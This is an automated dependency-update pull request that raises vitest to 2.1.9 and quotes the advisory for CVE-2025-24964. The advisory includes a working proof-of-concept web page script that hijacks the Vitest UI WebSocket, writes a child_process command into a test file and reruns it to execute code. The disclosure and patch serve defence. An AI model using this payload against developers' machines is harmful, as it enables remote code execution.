chore(deps): update dependency vitest to v2.1.9 [security] (#1120)

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| devDependencies | patch | [`2.1.8` ->
`2.1.9`](https://renovatebot.com/diffs/npm/vitest/2.1.8/2.1.9) |

### GitHub Vulnerability Alerts

####
[CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while
Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH)
attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest
UI enables it), Vitest starts a WebSocket server. This WebSocket server
did not check Origin header and did not have any authorization mechanism
and was vulnerable to CSWSH attacks.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file
and `rerun` API that can rerun the tests. An attacker can execute
arbitrary code by injecting a code in a test file by the `saveTestFile`
API and then running that file by calling the `rerun` API.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have
it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that
are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

###
[`v2.1.9`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.9)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9)

This release includes security patches for:

- [Browser mode serves arbitrary files |
CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5)
- [Remote Code Execution when accessing a malicious website while Vitest
API server is listening |
CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

#####    🐞 Bug Fixes

- backport
[https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317)
to v2 - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[https://github.com/vitest-dev/vitest/pull/7318](https://redirect.github.com/vitest-dev/vitest/pull/7318)
- (backport
[#&#8203;7340](https://redirect.github.com/vitest-dev/vitest/issues/7340)
to v2) restrict served files from `/__screenshot-error` - by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[https://github.com/vitest-dev/vitest/pull/7343](https://redirect.github.com/vitest-dev/vitest/pull/7343)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9)

</details>

---

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---

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---

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app/package.json

@@ -101,7 +101,7 @@
     "tailwindcss": "3.4.17",
     "typescript": "5.7.3",
     "vercel": "39.3.0",
-    "vitest": "2.1.8"
+    "vitest": "2.1.9"
   },
   "overrides": {
     "@types/react": "19.0.7",